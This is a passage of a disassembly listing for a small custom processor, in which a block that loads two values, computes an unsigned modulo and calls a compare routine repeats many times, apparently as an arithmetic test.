6540: 0d 43 16 1c wl16 r16,0x18bc
6544: 0d 60 02 03 wh16 r16,0x3
6548: 10 40 02 10 ld32 r16,r16
654c: 0d 45 35 38 wl16 r9,0x29b8
6550: 0d 60 01 23 wh16 r9,0x3
6554: 10 40 01 29 ld32 r9,r9
6558: 00 a0 01 10 umod r8,r16
655c: 20 70 03 e2 movepc rret,8
6560: 14 30 e6 ac br 10 <compare>,#al
6564: 00 10 00 41 add r2,1
6568: 0d 40 f9 04 wl16 r8,0x7c4
656c: 0d 60 01 03 wh16 r8,0x3
6570: 10 40 01 08 ld32 r8,r8
6574: 0d 43 1a 00 wl16 r16,0x18c0
6578: 0d 60 02 03 wh16 r16,0x3
657c: 10 40 02 10 ld32 r16,r16
6580: 0d 45 35 3c wl16 r9,0x29bc
6584: 0d 60 01 23 wh16 r9,0x3
6588: 10 40 01 29 ld32 r9,r9
658c: 00 a0 01 10 umod r8,r16
6590: 20 70 03 e2 movepc rret,8
6594: 14 30 e6 9f br 10 <compare>,#al
6598: 00 10 00 41 add r2,1
659c: 0d 40 f9 08 wl16 r8,0x7c8
65a0: 0d 60 01 03 wh16 r8,0x3
65a4: 10 40 01 08 ld32 r8,r8
65a8: 0d 43 1a 04 wl16 r16,0x18c4
65ac: 0d 60 02 03 wh16 r16,0x3
65b0: 10 40 02 10 ld32 r16,r16
65b4: 0d 45 39 20 wl16 r9,0x29c0
65b8: 0d 60 01 23 wh16 r9,0x3
65bc: 10 40 01 29 ld32 r9,r9
65c0: 00 a0 01 10 umod r8,r16
65c4: 20 70 03 e2 movepc rret,8
65c8: 14 30 e6 92 br 10 <compare>,#al
65cc: 00 10 00 41 add r2,1
65d0: 0d 40 f9 0c wl16 r8,0x7cc
65d4: 0d 60 01 03 wh16 r8,0x3
65d8: 10 40 01 08 ld32 r8,r8
65dc: 0d 43 1a 08 wl16 r16,0x18c8
65e0: 0d 60 02 03 wh16 r16,0x3
65e4: 10 40 02 10 ld32 r16,r16
65e8: 0d 45 39 24 wl16 r9,0x29c4
65ec: 0d 60 01 23 wh16 r9,0x3
65f0: 10 40 01 29 ld32 r9,r9
65f4: 00 a0 01 10 umod r8,r16
65f8: 20 70 03 e2 movepc rret,8
65fc: 14 30 e6 85 br 10 <compare>,#al
6600: 00 10 00 41 add r2,1
6604: 0d 40 f9 10 wl16 r8,0x7d0
6608: 0d 60 01 03 wh16 r8,0x3
660c: 10 40 01 08 ld32 r8,r8
6610: 0d 43 1a 0c wl16 r16,0x18cc
6614: 0d 60 02 03 wh16 r16,0x3
6618: 10 40 02 10 ld32 r16,r16
661c: 0d 45 39 28 wl16 r9,0x29c8
6620: 0d 60 01 23 wh16 r9,0x3
6624: 10 40 01 29 ld32 r9,r9
6628: 00 a0 01 10 umod r8,r16
662c: 20 70 03 e2 movepc rret,8
6630: 14 30 e6 78 br 10 <compare>,#al
6634: 00 10 00 41 add r2,1
6638: 0d 40 f9 14 wl16 r8,0x7d4
663c: 0d 60 01 03 wh16 r8,0x3
6640: 10 40 01 08 ld32 r8,r8
6644: 0d 43 1a 10 wl16 r16,0x18d0
6648: 0d 60 02 03 wh16 r16,0x3
664c: 10 40 02 10 ld32 r16,r16
6650: 0d 45 39 2c wl16 r9,0x29cc
6654: 0d 60 01 23 wh16 r9,0x3
6658: 10 40 01 29 ld32 r9,r9
665c: 00 a0 01 10 umod r8,r16
6660: 20 70 03 e2 movepc rret,8
6664: 14 30 e6 6b br 10 <compare>,#al
6668: 00 10 00 41 add r2,1
666c: 0d 40 f9 18 wl16 r8,0x7d8
6670: 0d 60 01 03 wh16 r8,0x3
6674: 10 40 01 08 ld32 r8,r8
6678: 0d 43 1a 14 wl16 r16,0x18d4
667c: 0d 60 02 03 wh16 r16,0x3
6680: 10 40 02 10 ld32 r16,r16
6684: 0d 45 39 30 wl16 r9,0x29d0
6688: 0d 60 01 23 wh16 r9,0x3
668c: 10 40 01 29 ld32 r9,r9
6690: 00 a0 01 10 umod r8,r16
6694: 20 70 03 e2 movepc rret,8
6698: 14 30 e6 5e br 10 <compare>,#al
669c: 00 10 00 41 add r2,1
66a0: 0d 40 f9 1c wl16 r8,0x7dc
66a4: 0d 60 01 03 wh16 r8,0x3
66a8: 10 40 01 08 ld32 r8,r8
66ac: 0d 43 1a 18 wl16 r16,0x18d8
66b0: 0d 60 02 03 wh16 r16,0x3
66b4: 10 40 02 10 ld32 r16,r16
66b8: 0d 45 39 34 wl16 r9,0x29d4
66bc: 0d 60 01 23 wh16 r9,0x3
66c0: 10 40 01 29 ld32 r9,r9
66c4: 00 a0 01 10 umod r8,r16
66c8: 20 70 03 e2 movepc rret,8
66cc: 14 30 e6 51 br 10 <compare>,#al
66d0: 00 10 00 41 add r2,1
66d4: 0d 40 fd 00 wl16 r8,0x7e0
66d8: 0d 60 01 03 wh16 r8,0x3
66dc: 10 40 01 08 ld32 r8,r8
66e0: 0d 43 1a 1c wl16 r16,0x18dc
66e4: 0d 60 02 03 wh16 r16,0x3
66e8: 10 40 02 10 ld32 r16,r16
66ec: 0d 45 39 38 wl16 r9,0x29d8
66f0: 0d 60 01 23 wh16 r9,0x3
66f4: 10 40 01 29 ld32 r9,r9
66f8: 00 a0 01 10 umod r8,r16
66fc: 20 70 03 e2 movepc rret,8
6700: 14 30 e6 44 br 10 <compare>,#al
6704: 00 10 00 41 add r2,1
6708: 0d 40 fd 04 wl16 r8,0x7e4
670c: 0d 60 01 03 wh16 r8,0x3
6710: 10 40 01 08 ld32 r8,r8
6714: 0d 43 1e 00 wl16 r16,0x18e0
6718: 0d 60 02 03 wh16 r16,0x3
671c: 10 40 02 10 ld32 r16,r16
6720: 0d 45 39 3c wl16 r9,0x29dc
6724: 0d 60 01 23 wh16 r9,0x3
6728: 10 40 01 29 ld32 r9,r9
672c: 00 a0 01 10 umod r8,r16
6730: 20 70 03 e2 movepc rret,8
6734: 14 30 e6 37 br 10 <compare>,#al
6738: 00 10 00 41 add r2,1
673c: 0d 40 fd 08 wl16 r8,0x7e8
6740: 0d 60 01 03 wh16 r8,0x3
6744: 10 40 01 08 ld32 r8,r8
6748: 0d 43 1e 04 wl16 r16,0x18e4
674c: 0d 60 02 03 wh16 r16,0x3
6750: 10 40 02 10 ld32 r16,r16
6754: 0d 45 3d 20 wl16 r9,0x29e0
6758: 0d 60 01 23 wh16 r9,0x3
675c: 10 40 01 29 ld32 r9,r9
6760: 00 a0 01 10 umod r8,r16
6764: 20 70 03 e2 movepc rret,8
6768: 14 30 e6 2a br 10 <compare>,#al
676c: 00 10 00 41 add r2,1
6770: 0d 40 fd 0c wl16 r8,0x7ec
6774: 0d 60 01 03 wh16 r8,0x3
6778: 10 40 01 08 ld32 r8,r8
677c: 0d 43 1e 08 wl16 r16,0x18e8
6780: 0d 60 02 03 wh16 r16,0x3
6784: 10 40 02 10 ld32 r16,r16
6788: 0d 45 3d 24 wl16 r9,0x29e4
678c: 0d 60 01 23 wh16 r9,0x3
6790: 10 40 01 29 ld32 r9,r9
6794: 00 a0 01 10 umod r8,r16
6798: 20 70 03 e2 movepc rret,8
679c: 14 30 e6 1d br 10 <compare>,#al
67a0: 00 10 00 41 add r2,1
67a4: 0d 40 fd 10 wl16 r8,0x7f0
67a8: 0d 60 01 03 wh16 r8,0x3
67ac: 10 40 01 08 ld32 r8,r8
67b0: 0d 43 1e 0c wl16 r16,0x18ec
67b4: 0d 60 02 03 wh16 r16,0x3
67b8: 10 40 02 10 ld32 r16,r16
67bc: 0d 45 3d 28 wl16 r9,0x29e8
67c0: 0d 60 01 23 wh16 r9,0x3
67c4: 10 40 01 29 ld32 r9,r9
67c8: 00 a0 01 10 umod r8,r16
67cc: 20 70 03 e2 movepc rret,8
67d0: 14 30 e6 10 br 10 <compare>,#al
67d4: 00 10 00 41 add r2,1
67d8: 0d 40 fd 14 wl16 r8,0x7f4
67dc: 0d 60 01 03 wh16 r8,0x3
67e0: 10 40 01 08 ld32 r8,r8
67e4: 0d 43 1e 10 wl16 r16,0x18f0
67e8: 0d 60 02 03 wh16 r16,0x3
67ec: 10 40 02 10 ld32 r16,r16
67f0: 0d 45 3d 2c wl16 r9,0x29ec
67f4: 0d 60 01 23 wh16 r9,0x3
67f8: 10 40 01 29 ld32 r9,r9
67fc: 00 a0 01 10 umod r8,r16
6800: 20 70 03 e2 movepc rret,8
6804: 14 30 e6 03 br 10 <compare>,#al
6808: 00 10 00 41 add r2,1
680c: 0d 40 fd 18 wl16 r8,0x7f8
6810: 0d 60 01 03 wh16 r8,0x3
6814: 10 40 01 08 ld32 r8,r8
6818: 0d 43 1e 14 wl16 r16,0x18f4
681c: 0d 60 02 03 wh16 r16,0x3
6820: 10 40 02 10 ld32 r16,r16
6824: 0d 45 3d 30 wl16 r9,0x29f0
6828: 0d 60 01 23 wh16 r9,0x3
682c: 10 40 01 29 ld32 r9,r9
6830: 00 a0 01 10 umod r8,r16
6834: 20 70 03 e2 movepc rret,8
6838: 14 30 e5 f6 br 10 <compare>,#al
683c: 00 10 00 41 add r2,1
6840: 0d 40 fd 1c wl16 r8,0x7fc
6844: 0d 60 01 03 wh16 r8,0x3
6848: 10 40 01 08 ld32 r8,r8
684c: 0d 43 1e 18 wl16 r16,0x18f8
6850: 0d 60 02 03 wh16 r16,0x3
6854: 10 40 02 10 ld32 r16,r16
6858: 0d 45 3d 34 wl16 r9,0x29f4
685c: 0d 60 01 23 wh16 r9,0x3
6860: 10 40 01 29 ld32 r9,r9
6864: 00 a0 01 10 umod r8,r16
6868: 20 70 03 e2 movepc rret,8
686c: 14 30 e5 e9 br 10 <compare>,#al
6870: 00 10 00 41 add r2,1
6874: 0d 41 01 00 wl16 r8,0x800
6878: 0d 60 01 03 wh16 r8,0x3
687c: 10 40 01 08 ld32 r8,r8
6880: 0d 43 1e 1c wl16 r16,0x18fc
6884: 0d 60 02 03 wh16 r16,0x3
6888: 10 40 02 10 ld32 r16,r16
688c: 0d 45 3d 38 wl16 r9,0x29f8
6890: 0d 60 01 23 wh16 r9,0x3
6894: 10 40 01 29 ld32 r9,r9
6898: 00 a0 01 10 umod r8,r16
689c: 20 70 03 e2 movepc rret,8
68a0: 14 30 e5 dc br 10 <compare>,#al
68a4: 00 10 00 41 add r2,1
68a8: 0d 41 01 04 wl16 r8,0x804
68ac: 0d 60 01 03 wh16 r8,0x3
68b0: 10 40 01 08 ld32 r8,r8
68b4: 0d 43 22 00 wl16 r16,0x1900
68b8: 0d 60 02 03 wh16 r16,0x3
68bc: 10 40 02 10 ld32 r16,r16
68c0: 0d 45 3d 3c wl16 r9,0x29fc
68c4: 0d 60 01 23 wh16 r9,0x3
68c8: 10 40 01 29 ld32 r9,r9
68cc: 00 a0 01 10 umod r8,r16
68d0: 20 70 03 e2 movepc rret,8
68d4: 14 30 e5 cf br 10 <compare>,#al
68d8: 00 10 00 41 add r2,1
68dc: 0d 41 01 08 wl16 r8,0x808
68e0: 0d 60 01 03 wh16 r8,0x3
68e4: 10 40 01 08 ld32 r8,r8
68e8: 0d 43 22 04 wl16 r16,0x1904
68ec: 0d 60 02 03 wh16 r16,0x3
68f0: 10 40 02 10 ld32 r16,r16
68f4: 0d 45 41 20 wl16 r9,0x2a00
68f8: 0d 60 01 23 wh16 r9,0x3
68fc: 10 40 01 29 ld32 r9,r9
6900: 00 a0 01 10 umod r8,r16
6904: 20 70 03 e2 movepc rret,8
6908: 14 30 e5 c2 br 10 <compare>,#al
690c: 00 10 00 41 add r2,1
6910: 0d 41 01 0c wl16 r8,0x80c
6914: 0d 60 01 03 wh16 r8,0x3
6918: 10 40 01 08 ld32 r8,r8
691c: 0d 43 22 08 wl16 r16,0x1908
6920: 0d 60 02 03 wh16 r16,0x3
6924: 10 40 02 10 ld32 r16,r16
6928: 0d 45 41 24 wl16 r9,0x2a04
692c: 0d 60 01 23 wh16 r9,0x3
6930: 10 40 01 29 ld32 r9,r9
6934: 00 a0 01 10 umod r8,r16
6938: 20 70 03 e2 movepc rret,8
693c: 14 30 e5 b5 br 10 <compare>,#al
6940: 00 10 00 41 add r2,1
6944: 0d 41 01 10 wl16 r8,0x810
6948: 0d 60 01 03 wh16 r8,0x3
694c: 10 40 01 08 ld32 r8,r8
6950: 0d 43 22 0c wl16 r16,0x190c
6954: 0d 60 02 03 wh16 r16,0x3
6958: 10 40 02 10 ld32 r16,r16
695c: 0d 45 41 28 wl16 r9,0x2a08
6960: 0d 60 01 23 wh16 r9,0x3
6964: 10 40 01 29 ld32 r9,r9
6968: 00 a0 01 10 umod r8,r16
696c: 20 70 03 e2 movepc rret,8
6970: 14 30 e5 a8 br 10 <compare>,#al
6974: 00 10 00 41 add r2,1
6978: 0d 41 01 14 wl16 r8,0x814
697c: 0d 60 01 03 wh16 r8,0x3
6980: 10 40 01 08 ld32 r8,r8
6984: 0d 43 22 10 wl16 r16,0x1910
6988: 0d 60 02 03 wh16 r16,0x3
698c: 10 40 02 10 ld32 r16,r16
6990: 0d 45 41 2c wl16 r9,0x2a0c
6994: 0d 60 01 23 wh16 r9,0x3
6998: 10 40 01 29 ld32 r9,r9
699c: 00 a0 01 10 umod r8,r16
69a0: 20 70 03 e2 movepc rret,8
69a4: 14 30 e5 9b br 10 <compare>,#al
69a8: 00 10 00 41 add r2,1
69ac: 0d 41 01 18 wl16 r8,0x818
69b0: 0d 60 01 03 wh16 r8,0x3
69b4: 10 40 01 08 ld32 r8,r8
69b8: 0d 43 22 14 wl16 r16,0x1914
69bc: 0d 60 02 03 wh16 r16,0x3
69c0: 10 40 02 10 ld32 r16,r16
69c4: 0d 45 41 30 wl16 r9,0x2a10
69c8: 0d 60 01 23 wh16 r9,0x3
69cc: 10 40 01 29 ld32 r9,r9
69d0: 00 a0 01 10 umod r8,r16
69d4: 20 70 03 e2 movepc rret,8
69d8: 14 30 e5 8e br 10 <compare>,#al
69dc: 00 10 00 41 add r2,1
69e0: 0d 41 01 1c wl16 r8,0x81c
69e4: 0d 60 01 03 wh16 r8,0x3
69e8: 10 40 01 08 ld32 r8,r8
69ec: 0d 43 22 18 wl16 r16,0x1918
69f0: 0d 60 02 03 wh16 r16,0x3
69f4: 10 40 02 10 ld32 r16,r16
69f8: 0d 45 41 34 wl16 r9,0x2a14
69fc: 0d 60 01 23 wh16 r9,0x3
6a00: 10 40 01 29 ld32 r9,r9
6a04: 00 a0 01 10 umod r8,r16
6a08: 20 70 03 e2 movepc rret,8
6a0c: 14 30 e5 81 br 10 <compare>,#al
6a10: 00 10 00 41 add r2,1
6a14: 0d 41 05 00 wl16 r8,0x820
6a18: 0d 60 01 03 wh16 r8,0x3
6a1c: 10 40 01 08 ld32 r8,r8
6a20: 0d 43 22 1c wl16 r16,0x191c
6a24: 0d 60 02 03 wh16 r16,0x3
6a28: 10 40 02 10 ld32 r16,r16
6a2c: 0d 45 41 38 wl16 r9,0x2a18
6a30: 0d 60 01 23 wh16 r9,0x3
6a34: 10 40 01 29 ld32 r9,r9
6a38: 00 a0 01 10 umod r8,r16
6a3c: 20 70 03 e2 movepc rret,8
6a40: 14 30 e5 74 br 10 <compare>,#al
6a44: 00 10 00 41 add r2,1
6a48: 0d 41 05 04 wl16 r8,0x824
6a4c: 0d 60 01 03 wh16 r8,0x3
6a50: 10 40 01 08 ld32 r8,r8
6a54: 0d 43 26 00 wl16 r16,0x1920
6a58: 0d 60 02 03 wh16 r16,0x3
6a5c: 10 40 02 10 ld32 r16,r16
6a60: 0d 45 41 3c wl16 r9,0x2a1c
6a64: 0d 60 01 23 wh16 r9,0x3
6a68: 10 40 01 29 ld32 r9,r9
6a6c: 00 a0 01 10 umod r8,r16
6a70: 20 70 03 e2 movepc rret,8
6a74: 14 30 e5 67 br 10 <compare>,#al
6a78: 00 10 00 41 add r2,1
6a7c: 0d 41 05 08 wl16 r8,0x828
6a80: 0d 60 01 03 wh16 r8,0x3
6a84: 10 40 01 08 ld32 r8,r8
6a88: 0d 43 26 04 wl16 r16,0x1924
6a8c: 0d 60 02 03 wh16 r16,0x3
6a90: 10 40 02 10 ld32 r16,r16
6a94: 0d 45 45 20 wl16 r9,0x2a20
6a98: 0d 60 01 23 wh16 r9,0x3
6a9c: 10 40 01 29 ld32 r9,r9
6aa0: 00 a0 01 10 umod r8,r16
6aa4: 20 70 03 e2 movepc rret,8
6aa8: 14 30 e5 5a br 10 <compare>,#al
6aac: 00 10 00 41 add r2,1
6ab0: 0d 41 05 0c wl16 r8,0x82c
6ab4: 0d 60 01 03 wh16 r8,0x3
6ab8: 10 40 01 08 ld32 r8,r8
6abc: 0d 43 26 08 wl16 r16,0x1928
6ac0: 0d 60 02 03 wh16 r16,0x3
6ac4: 10 40 02 10 ld32 r16,r16
6ac8: 0d 45 45 24 wl16 r9,0x2a24
6acc: 0d 60 01 23 wh16 r9,0x3
6ad0: 10 40 01 29 ld32 r9,r9
6ad4: 00 a0 01 10 umod r8,r16
6ad8: 20 70 03 e2 movepc rret,8
6adc: 14 30 e5 4d br 10 <compare>,#al
6ae0: 00 10 00 41 add r2,1
6ae4: 0d 41 05 10 wl16 r8,0x830
6ae8: 0d 60 01 03 wh16 r8,0x3
6aec: 10 40 01 08 ld32 r8,r8
6af0: 0d 43 26 0c wl16 r16,0x192c
6af4: 0d 60 02 03 wh16 r16,0x3
6af8: 10 40 02 10 ld32 r16,r16
6afc: 0d 45 45 28 wl16 r9,0x2a28
6b00: 0d 60 01 23 wh16 r9,0x3
6b04: 10 40 01 29 ld32 r9,r9
6b08: 00 a0 01 10 umod r8,r16
6b0c: 20 70 03 e2 movepc rret,8
6b10: 14 30 e5 40 br 10 <compare>,#al
6b14: 00 10 00 41 add r2,1
6b18: 0d 41 05 14 wl16 r8,0x834
6b1c: 0d 60 01 03 wh16 r8,0x3
6b20: 10 40 01 08 ld32 r8,r8
6b24: 0d 43 26 10 wl16 r16,0x1930
6b28: 0d 60 02 03 wh16 r16,0x3
6b2c: 10 40 02 10 ld32 r16,r16
6b30: 0d 45 45 2c wl16 r9,0x2a2c
6b34: 0d 60 01 23 wh16 r9,0x3
6b38: 10 40 01 29 ld32 r9,r9
6b3c: 00 a0 01 10 umod r8,r16
6b40: 20 70 03 e2 movepc rret,8
6b44: 14 30 e5 33 br 10 <compare>,#al
6b48: 00 10 00 41 add r2,1
6b4c: 0d 41 05 18 wl16 r8,0x838
6b50: 0d 60 01 03 wh16 r8,0x3
6b54: 10 40 01 08 ld32 r8,r8
6b58: 0d 43 26 14 wl16 r16,0x1934
6b5c: 0d 60 02 03 wh16 r16,0x3
6b60: 10 40 02 10 ld32 r16,r16
6b64: 0d 45 45 30 wl16 r9,0x2a30
6b68: 0d 60 01 23 wh16 r9,0x3
6b6c: 10 40 01 29 ld32 r9,r9
6b70: 00 a0 01 10 umod r8,r16
6b74: 20 70 03 e2 movepc rret,8
6b78: 14 30 e5 26 br 10 <compare>,#al
6b7c: 00 10 00 41 add r2,1
6b80: 0d 41 05 1c wl16 r8,0x83c
6b84: 0d 60 01 03 wh16 r8,0x3
6b88: 10 40 01 08 ld32 r8,r8
6b8c: 0d 43 26 18 wl16 r16,0x1938
6b90: 0d 60 02 03 wh16 r16,0x3
6b94: 10 40 02 10 ld32 r16,r16
6b98: 0d 45 45 34 wl16 r9,0x2a34
6b9c: 0d 60 01 23 wh16 r9,0x3
6ba0: 10 40 01 29 ld32 r9,r9
6ba4: 00 a0 01 10 umod r8,r16
6ba8: 20 70 03 e2 movepc rret,8
6bac: 14 30 e5 19 br 10 <compare>,#al
6bb0: 00 10 00 41 add r2,1
6bb4: 0d 41 09 00 wl16 r8,0x840
6bb8: 0d 60 01 03 wh16 r8,0x3
6bbc: 10 40 01 08 ld32 r8,r8
6bc0: 0d 43 26 1c wl16 r16,0x193c
6bc4: 0d 60 02 03 wh16 r16,0x3
6bc8: 10 40 02 10 ld32 r16,r16
6bcc: 0d 45 45 38 wl16 r9,0x2a38
6bd0: 0d 60 01 23 wh16 r9,0x3
6bd4: 10 40 01 29 ld32 r9,r9
6bd8: 00 a0 01 10 umod r8,r16
6bdc: 20 70 03 e2 movepc rret,8
6be0: 14 30 e5 0c br 10 <compare>,#al
6be4: 00 10 00 41 add r2,1
6be8: 0d 41 09 04 wl16 r8,0x844
6bec: 0d 60 01 03 wh16 r8,0x3
6bf0: 10 40 01 08 ld32 r8,r8
6bf4: 0d 43 2a 00 wl16 r16,0x1940
6bf8: 0d 60 02 03 wh16 r16,0x3
6bfc: 10 40 02 10 ld32 r16,r16
6c00: 0d 45 45 3c wl16 r9,0x2a3c
6c04: 0d 60 01 23 wh16 r9,0x3
6c08: 10 40 01 29 ld32 r9,r9
6c0c: 00 a0 01 10 umod r8,r16
6c10: 20 70 03 e2 movepc rret,8
6c14: 14 30 e4 ff br 10 <compare>,#al
6c18: 00 10 00 41 add r2,1
6c1c: 0d 41 09 08 wl16 r8,0x848
6c20: 0d 60 01 03 wh16 r8,0x3
6c24: 10 40 01 08 ld32 r8,r8
6c28: 0d 43 2a 04 wl16 r16,0x1944
6c2c: 0d 60 02 03 wh16 r16,0x3
6c30: 10 40 02 10 ld32 r16,r16
6c34: 0d 45 49 20 wl16 r9,0x2a40
6c38: 0d 60 01 23 wh16 r9,0x3
6c3c: 10 40 01 29 ld32 r9,r9
6c40: 00 a0 01 10 umod r8,r16
6c44: 20 70 03 e2 movepc rret,8
6c48: 14 30 e4 f2 br 10 <compare>,#al
6c4c: 00 10 00 41 add r2,1
6c50: 0d 41 09 0c wl16 r8,0x84c
6c54: 0d 60 01 03 wh16 r8,0x3
6c58: 10 40 01 08 ld32 r8,r8
6c5c: 0d 43 2a 08 wl16 r16,0x1948
6c60: 0d 60 02 03 wh16 r16,0x3
6c64: 10 40 02 10 ld32 r16,r16
6c68: 0d 45 49 24 wl16 r9,0x2a44
6c6c: 0d 60 01 23 wh16 r9,0x3
6c70: 10 40 01 29 ld32 r9,r9
6c74: 00 a0 01 10 umod r8,r16
6c78: 20 70 03 e2 movepc rret,8
6c7c: 14 30 e4 e5 br 10 <compare>,#al
6c80: 00 10 00 41 add r2,1
6c84: 0d 41 09 10 wl16 r8,0x850
6c88: 0d 60 01 03 wh16 r8,0x3
6c8c: 10 40 01 08 ld32 r8,r8
6c90: 0d 43 2a 0c wl16 r16,0x194c
6c94: 0d 60 02 03 wh16 r16,0x3
6c98: 10 40 02 10 ld32 r16,r16
6c9c: 0d 45 49 28 wl16 r9,0x2a48
6ca0: 0d 60 01 23 wh16 r9,0x3
6ca4: 10 40 01 29 ld32 r9,r9
6ca8: 00 a0 01 10 umod r8,r16
6cac: 20 70 03 e2 movepc rret,8
6cb0: 14 30 e4 d8 br 10 <compare>,#al
6cb4: 00 10 00 41 add r2,1
6cb8: 0d 41 09 14 wl16 r8,0x854
6cbc: 0d 60 01 03 wh16 r8,0x3
6cc0: 10 40 01 08 ld32 r8,r8
6cc4: 0d 43 2a 10 wl16 r16,0x1950
6cc8: 0d 60 02 03 wh16 r16,0x3
6ccc: 10 40 02 10 ld32 r16,r16
6cd0: 0d 45 49 2c wl16 r9,0x2a4c
6cd4: 0d 60 01 23 wh16 r9,0x3
6cd8: 10 40 01 29 ld32 r9,r9
6cdc: 00 a0 01 10 umod r8,r16
6ce0: 20 70 03 e2 movepc rret,8
6ce4: 14 30 e4 cb br 10 <compare>,#al
6ce8: 00 10 00 41 add r2,1
6cec: 0d 41 09 18 wl16 r8,0x858
6cf0: 0d 60 01 03 wh16 r8,0x3
6cf4: 10 40 01 08 ld32 r8,r8
6cf8: 0d 43 2a 14 wl16 r16,0x1954
6cfc: 0d 60 02 03 wh16 r16,0x3
6d00: 10 40 02 10 ld32 r16,r16
6d04: 0d 45 49 30 wl16 r9,0x2a50
6d08: 0d 60 01 23 wh16 r9,0x3
6d0c: 10 40 01 29 ld32 r9,r9
6d10: 00 a0 01 10 umod r8,r16
6d14: 20 70 03 e2 movepc rret,8
6d18: 14 30 e4 be br 10 <compare>,#al
6d1c: 00 10 00 41 add r2,1
6d20: 0d 41 09 1c wl16 r8,0x85c
6d24: 0d 60 01 03 wh16 r8,0x3
6d28: 10 40 01 08 ld32 r8,r8
6d2c: 0d 43 2a 18 wl16 r16,0x1958
6d30: 0d 60 02 03 wh16 r16,0x3
6d34: 10 40 02 10 ld32 r16,r16
6d38: 0d 45 49 34 wl16 r9,0x2a54
6d3c: 0d 60 01 23 wh16 r9,0x3
6d40: 10 40 01 29 ld32 r9,r9
6d44: 00 a0 01 10 umod r8,r16
6d48: 20 70 03 e2 movepc rret,8
6d4c: 14 30 e4 b1 br 10 <compare>,#al
6d50: 00 10 00 41 add r2,1
6d54: 0d 41 0d 00 wl16 r8,0x860
6d58: 0d 60 01 03 wh16 r8,0x3
6d5c: 10 40 01 08 ld32 r8,r8
6d60: 0d 43 2a 1c wl16 r16,0x195c
6d64: 0d 60 02 03 wh16 r16,0x3
6d68: 10 40 02 10 ld32 r16,r16
6d6c: 0d 45 49 38 wl16 r9,0x2a58
6d70: 0d 60 01 23 wh16 r9,0x3
6d74: 10 40 01 29 ld32 r9,r9
6d78: 00 a0 01 10 umod r8,r16
6d7c: 20 70 03 e2 movepc rret,8
6d80: 14 30 e4 a4 br 10 <compare>,#al
6d84: 00 10 00 41 add r2,1
6d88: 0d 41 0d 04 wl16 r8,0x864
6d8c: 0d 60 01 03 wh16 r8,0x3
6d90: 10 40 01 08 ld32 r8,r8
6d94: 0d 43 2e 00 wl16 r16,0x1960
6d98: 0d 60 02 03 wh16 r16,0x3
6d9c: 10 40 02 10 ld32 r16,r16
6da0: 0d 45 49 3c wl16 r9,0x2a5c
6da4: 0d 60 01 23 wh16 r9,0x3
6da8: 10 40 01 29 ld32 r9,r9
6dac: 00 a0 01 10 umod r8,r16
6db0: 20 70 03 e2 movepc rret,8
6db4: 14 30 e4 97 br 10 <compare>,#al
6db8: 00 10 00 41 add r2,1
6dbc: 0d 41 0d 08 wl16 r8,0x868
6dc0: 0d 60 01 03 wh16 r8,0x3
6dc4: 10 40 01 08 ld32 r8,r8
6dc8: 0d 43 2e 04 wl16 r16,0x1964
6dcc: 0d 60 02 03 wh16 r16,0x3
6dd0: 10 40 02 10 ld32 r16,r16
6dd4: 0d 45 4d 20 wl16 r9,0x2a60
6dd8: 0d 60 01 23 wh16 r9,0x3
6ddc: 10 40 01 29 ld32 r9,r9
6de0: 00 a0 01 10 umod r8,r16
6de4: 20 70 03 e2 movepc rret,8
6de8: 14 30 e4 8a br 10 <compare>,#al
6dec: 00 10 00 41 add r2,1
6df0: 0d 41 0d 0c wl16 r8,0x86c
6df4: 0d 60 01 03 wh16 r8,0x3
6df8: 10 40 01 08 ld32 r8,r8
6dfc: 0d 43 2e 08 wl16 r16,0x1968
6e00: 0d 60 02 03 wh16 r16,0x3
6e04: 10 40 02 10 ld32 r16,r16
6e08: 0d 45 4d 24 wl16 r9,0x2a64
6e0c: 0d 60 01 23 wh16 r9,0x3
6e10: 10 40 01 29 ld32 r9,r9
6e14: 00 a0 01 10 umod r8,r16
6e18: 20 70 03 e2 movepc rret,8
6e1c: 14 30 e4 7d br 10 <compare>,#al
6e20: 00 10 00 41 add r2,1
6e24: 0d 41 0d 10 wl16 r8,0x870
6e28: 0d 60 01 03 wh16 r8,0x3
6e2c: 10 40 01 08 ld32 r8,r8
6e30: 0d 43 2e 0c wl16 r16,0x196c
6e34: 0d 60 02 03 wh16 r16,0x3
6e38: 10 40 02 10 ld32 r16,r16
6e3c: 0d 45 4d 28 wl16 r9,0x2a68
6e40: 0d 60 01 23 wh16 r9,0x3
6e44: 10 40 01 29 ld32 r9,r9
6e48: 00 a0 01 10 umod r8,r16
6e4c: 20 70 03 e2 movepc rret,8
6e50: 14 30 e4 70 br 10 <compare>,#al
6e54: 00 10 00 41 add r2,1
6e58: 0d 41 0d 14 wl16 r8,0x874
6e5c: 0d 60 01 03 wh16 r8,0x3
6e60: 10 40 01 08 ld32 r8,r8
6e64: 0d 43 2e 10 wl16 r16,0x1970
6e68: 0d 60 02 03 wh16 r16,0x3
6e6c: 10 40 02 10 ld32 r16,r16
6e70: 0d 45 4d 2c wl16 r9,0x2a6c
6e74: 0d 60 01 23 wh16 r9,0x3
6e78: 10 40 01 29 ld32 r9,r9
6e7c: 00 a0 01 10 umod r8,r16
6e80: 20 70 03 e2 movepc rret,8
6e84: 14 30 e4 63 br 10 <compare>,#al
6e88: 00 10 00 41 add r2,1
6e8c: 0d 41 0d 18 wl16 r8,0x878
6e90: 0d 60 01 03 wh16 r8,0x3
6e94: 10 40 01 08 ld32 r8,r8
6e98: 0d 43 2e 14 wl16 r16,0x1974
6e9c: 0d 60 02 03 wh16 r16,0x3
6ea0: 10 40 02 10 ld32 r16,r16
6ea4: 0d 45 4d 30 wl16 r9,0x2a70
6ea8: 0d 60 01 23 wh16 r9,0x3
6eac: 10 40 01 29 ld32 r9,r9
6eb0: 00 a0 01 10 umod r8,r16
6eb4: 20 70 03 e2 movepc rret,8
6eb8: 14 30 e4 56 br 10 <compare>,#al
6ebc: 00 10 00 41 add r2,1
6ec0: 0d 41 0d 1c wl16 r8,0x87c
6ec4: 0d 60 01 03 wh16 r8,0x3
6ec8: 10 40 01 08 ld32 r8,r8
6ecc: 0d 43 2e 18 wl16 r16,0x1978
6ed0: 0d 60 02 03 wh16 r16,0x3
6ed4: 10 40 02 10 ld32 r16,r16
6ed8: 0d 45 4d 34 wl16 r9,0x2a74
6edc: 0d 60 01 23 wh16 r9,0x3
6ee0: 10 40 01 29 ld32 r9,r9
6ee4: 00 a0 01 10 umod r8,r16
6ee8: 20 70 03 e2 movepc rret,8
6eec: 14 30 e4 49 br 10 <compare>,#al
6ef0: 00 10 00 41 add r2,1
6ef4: 0d 41 11 00 wl16 r8,0x880
6ef8: 0d 60 01 03 wh16 r8,0x3
